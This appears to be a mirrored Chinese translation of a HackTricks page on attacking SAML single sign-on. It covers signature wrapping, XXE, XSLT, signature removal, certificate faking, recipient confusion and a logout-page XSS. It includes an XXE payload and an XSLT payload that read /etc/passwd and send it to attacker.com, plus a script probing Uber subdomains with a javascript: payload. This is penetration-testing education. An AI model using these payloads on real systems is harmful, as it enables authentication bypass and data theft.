mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
289 lines
15 KiB
Markdown
289 lines
15 KiB
Markdown
# SAML 攻击
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 基本信息
|
||
|
||
{{#ref}}
|
||
saml-basics.md
|
||
{{#endref}}
|
||
|
||
## 工具
|
||
|
||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): 一个可以接受 URL 或 URL 列表并返回 SAML 消费 URL 的工具。
|
||
|
||
## XML 往返
|
||
|
||
在 XML 中,签名部分的 XML 被保存在内存中,然后进行一些编码/解码,并检查签名。理想情况下,这种编码/解码不应该改变数据,但基于这种情况,**被检查的数据和原始数据可能不相同**。
|
||
|
||
例如,检查以下代码:
|
||
```ruby
|
||
require 'rexml/document'
|
||
|
||
doc = REXML::Document.new <<XML
|
||
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
|
||
<X>
|
||
<Y/><![CDATA[--><X><Z/><!--]]>-->
|
||
</X>
|
||
XML
|
||
|
||
puts "First child in original doc: " + doc.root.elements[1].name
|
||
doc = REXML::Document.new doc.to_s
|
||
puts "First child after round-trip: " + doc.root.elements[1].name
|
||
```
|
||
将程序运行在REXML 3.2.4或更早版本上将导致以下输出:
|
||
```
|
||
First child in original doc: Y
|
||
First child after round-trip: Z
|
||
```
|
||
这是REXML如何查看上述程序的原始XML文档的:
|
||
|
||
.png>)
|
||
|
||
这是它在经过一轮解析和序列化后看到的:
|
||
|
||
.png>)
|
||
|
||
有关此漏洞及其滥用方式的更多信息:
|
||
|
||
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
||
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
||
|
||
## XML签名包装攻击
|
||
|
||
在**XML签名包装攻击(XSW)**中,攻击者利用XML文档在两个不同阶段处理时出现的漏洞:**签名验证**和**功能调用**。这些攻击涉及改变XML文档结构。具体而言,攻击者**注入伪造元素**,这些元素不会影响XML签名的有效性。这种操控旨在造成**应用逻辑**分析的元素与**签名验证模块**检查的元素之间的差异。因此,尽管XML签名在技术上仍然有效并通过验证,但应用逻辑处理的是**欺诈元素**。结果,攻击者有效地绕过了XML签名的**完整性保护**和**来源认证**,使得**任意内容的注入**得以在不被检测的情况下进行。
|
||
|
||
以下攻击基于[**这篇博客文章**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)**和**[**这篇论文**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)。因此,请查看这些以获取更多详细信息。
|
||
|
||
### XSW #1
|
||
|
||
- **策略**:添加一个包含签名的新根元素。
|
||
- **影响**:验证器可能会在合法的“Response -> Assertion -> Subject”和攻击者的“恶意新Response -> Assertion -> Subject”之间感到困惑,从而导致数据完整性问题。
|
||
|
||
.png>)
|
||
|
||
### XSW #2
|
||
|
||
- **与XSW #1的区别**:使用分离签名而不是封装签名。
|
||
- **影响**:与XSW #1类似的“恶意”结构旨在欺骗完整性检查后的业务逻辑。
|
||
|
||
.png>)
|
||
|
||
### XSW #3
|
||
|
||
- **策略**:在与原始断言相同的层级上构造一个恶意断言。
|
||
- **影响**:旨在混淆业务逻辑以使用恶意数据。
|
||
|
||
.png>)
|
||
|
||
### XSW #4
|
||
|
||
- **与XSW #3的区别**:原始断言成为复制(恶意)断言的子元素。
|
||
- **影响**:与XSW #3类似,但更激进地改变XML结构。
|
||
|
||
.png>)
|
||
|
||
### XSW #5
|
||
|
||
- **独特方面**:签名和原始断言都不符合标准配置(封装/封装/分离)。
|
||
- **影响**:复制的断言封装签名,修改预期的文档结构。
|
||
|
||
.png>)
|
||
|
||
### XSW #6
|
||
|
||
- **策略**:与XSW #4和#5类似的位置插入,但有一个变化。
|
||
- **影响**:复制的断言封装签名,然后封装原始断言,创建一个嵌套的欺骗结构。
|
||
|
||
.png>)
|
||
|
||
### XSW #7
|
||
|
||
- **策略**:插入一个Extensions元素,复制的断言作为子元素。
|
||
- **影响**:利用Extensions元素的较少限制的模式来绕过模式验证对策,特别是在像OpenSAML这样的库中。
|
||
|
||
.png>)
|
||
|
||
### XSW #8
|
||
|
||
- **与XSW #7的区别**:利用另一个较少限制的XML元素进行攻击的变体。
|
||
- **影响**:原始断言成为较少限制元素的子元素,反转了XSW #7中使用的结构。
|
||
|
||
.png>)
|
||
|
||
### 工具
|
||
|
||
您可以使用Burp扩展[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)来解析请求,应用您选择的任何XSW攻击并发起它。
|
||
|
||
## XXE
|
||
|
||
如果您不知道XXE攻击是什么,请阅读以下页面:
|
||
|
||
{{#ref}}
|
||
../xxe-xee-xml-external-entity.md
|
||
{{#endref}}
|
||
|
||
SAML响应是**解压缩和base64编码的XML文档**,可能会受到XML外部实体(XXE)攻击的影响。通过操纵SAML响应的XML结构,攻击者可以尝试利用XXE漏洞。以下是这种攻击的可视化方式:
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE foo [
|
||
<!ELEMENT foo ANY >
|
||
<!ENTITY file SYSTEM "file:///etc/passwd">
|
||
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
|
||
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
|
||
<saml:Issuer>...</saml:Issuer>
|
||
<ds:Signature ...>
|
||
<ds:SignedInfo>
|
||
<ds:CanonicalizationMethod .../>
|
||
<ds:SignatureMethod .../>
|
||
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
|
||
</ds:SignedInfo>
|
||
<ds:SignatureValue>...</ds:SignatureValue>
|
||
[...]
|
||
```
|
||
## Tools
|
||
|
||
您还可以使用 Burp 扩展 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) 从 SAML 请求生成 POC,以测试可能的 XXE 漏洞和 SAML 漏洞。
|
||
|
||
还可以查看这个演讲: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||
|
||
## XSLT via SAML
|
||
|
||
有关 XSLT 的更多信息,请访问:
|
||
|
||
{{#ref}}
|
||
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||
{{#endref}}
|
||
|
||
可扩展样式表语言转换 (XSLT) 可用于将 XML 文档转换为各种格式,如 HTML、JSON 或 PDF。重要的是要注意,**XSLT 转换在数字签名验证之前执行**。这意味着即使没有有效的签名,攻击也可以成功;自签名或无效签名足以继续。
|
||
|
||
在这里,您可以找到一个 **POC** 来检查此类漏洞,在本节开头提到的 hacktricks 页面中,您可以找到有效载荷。
|
||
```xml
|
||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||
...
|
||
<ds:Transforms>
|
||
<ds:Transform>
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="doc">
|
||
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
|
||
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
|
||
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
|
||
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
|
||
<xsl:value-of select="unparsed-text($exploitUrl)"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
</ds:Transform>
|
||
</ds:Transforms>
|
||
...
|
||
</ds:Signature>
|
||
```
|
||
### Tool
|
||
|
||
您还可以使用 Burp 扩展 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) 从 SAML 请求生成 POC,以测试可能的 XSLT 漏洞。
|
||
|
||
还可以查看这个演讲: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||
|
||
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||
|
||
**XML Signature Exclusion** 观察 SAML 实现的行为,当 Signature 元素缺失时。如果此元素缺失,**签名验证可能不会发生**,使其变得脆弱。可以通过更改通常由签名验证的内容来测试这一点。
|
||
|
||
.png>)
|
||
|
||
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||
|
||
您还可以使用 Burp 扩展 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)。拦截 SAML 响应并点击 `Remove Signatures`。这样 **所有** 签名元素都会被移除。
|
||
|
||
在移除签名后,允许请求继续发送到目标。如果服务不需要签名
|
||
|
||
## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
|
||
|
||
## Certificate Faking
|
||
|
||
Certificate Faking 是一种测试 **服务提供者 (SP) 是否正确验证 SAML 消息是否由受信任的身份提供者 (IdP) 签名** 的技术。它涉及使用 \***自签名证书** 来签署 SAML 响应或声明,这有助于评估 SP 和 IdP 之间的信任验证过程。
|
||
|
||
### 如何进行 Certificate Faking
|
||
|
||
以下步骤概述了使用 [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp 扩展的过程:
|
||
|
||
1. 拦截 SAML 响应。
|
||
2. 如果响应包含签名,使用 `Send Certificate to SAML Raider Certs` 按钮将证书发送到 SAML Raider Certs。
|
||
3. 在 SAML Raider 证书选项卡中,选择导入的证书并点击 `Save and Self-Sign` 创建原始证书的自签名克隆。
|
||
4. 返回 Burp 的代理中拦截的请求。从 XML 签名下拉菜单中选择新的自签名证书。
|
||
5. 使用 `Remove Signatures` 按钮移除任何现有签名。
|
||
6. 使用 **`(Re-)Sign Message`** 或 **`(Re-)Sign Assertion`** 按钮(视情况而定)使用新证书签署消息或声明。
|
||
7. 转发签名消息。成功的身份验证表明 SP 接受由您的自签名证书签署的消息,揭示 SAML 消息验证过程中的潜在漏洞。
|
||
|
||
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||
|
||
Token Recipient Confusion 和 Service Provider Target Confusion 涉及检查 **服务提供者是否正确验证响应的预期接收者**。本质上,如果身份验证响应是针对不同提供者的,服务提供者应该拒绝该响应。这里的关键元素是 **Recipient** 字段,位于 SAML 响应的 **SubjectConfirmationData** 元素中。该字段指定一个 URL,指示声明必须发送到哪里。如果实际接收者与预期的服务提供者不匹配,则该声明应被视为无效。
|
||
|
||
#### **工作原理**
|
||
|
||
为了使 SAML Token Recipient Confusion (SAML-TRC) 攻击可行,必须满足某些条件。首先,服务提供者上必须有一个有效的帐户(称为 SP-Legit)。其次,目标服务提供者(SP-Target)必须接受来自同一身份提供者的令牌,该身份提供者为 SP-Legit 提供服务。
|
||
|
||
在这些条件下,攻击过程是直接的。通过共享的身份提供者与 SP-Legit 启动一个真实会话。身份提供者到 SP-Legit 的 SAML 响应被拦截。然后将这个原本针对 SP-Legit 的拦截 SAML 响应重定向到 SP-Target。攻击成功的标准是 SP-Target 接受该声明,从而允许访问与 SP-Legit 使用的相同帐户名下的资源。
|
||
```python
|
||
# Example to simulate interception and redirection of SAML Response
|
||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||
"""
|
||
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
|
||
|
||
Args:
|
||
- saml_response: The SAML Response intercepted (in string format).
|
||
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
|
||
|
||
Returns:
|
||
- status: Success or failure message.
|
||
"""
|
||
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
|
||
try:
|
||
# Code to send the SAML Response to SP-Target would go here
|
||
return "SAML Response successfully redirected to SP-Target."
|
||
except Exception as e:
|
||
return f"Failed to redirect SAML Response: {e}"
|
||
```
|
||
## XSS 在注销功能中
|
||
|
||
原始研究可以通过 [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) 访问。
|
||
|
||
在目录暴力破解的过程中,发现了一个注销页面:
|
||
```
|
||
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||
```
|
||
访问此链接时,发生了重定向到:
|
||
```
|
||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||
```
|
||
这揭示了 `base` 参数接受一个 URL。考虑到这一点,出现了用 `javascript:alert(123);` 替换 URL 的想法,以尝试发起 XSS(跨站脚本)攻击。
|
||
|
||
### 大规模利用
|
||
|
||
[根据这项研究](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
||
|
||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) 工具被用来分析 `uberinternal.com` 的子域,以查找使用相同库的域。随后,开发了一个脚本来针对 `oidauth/prompt` 页面。该脚本通过输入数据并检查其是否反映在输出中来测试 XSS(跨站脚本)。在输入确实被反映的情况下,脚本将页面标记为易受攻击。
|
||
```python
|
||
import requests
|
||
import urllib3
|
||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||
from colorama import init ,Fore, Back, Style
|
||
init()
|
||
|
||
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
|
||
for url in urlList:
|
||
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
||
request = requests.get(url2, allow_redirects=True,verify=False)
|
||
doesit = Fore.RED + "no"
|
||
if ("Fady" in request.content):
|
||
doesit = Fore.GREEN + "yes"
|
||
print(Fore.WHITE + url2)
|
||
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
||
```
|
||
## 参考
|
||
|
||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
|
||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|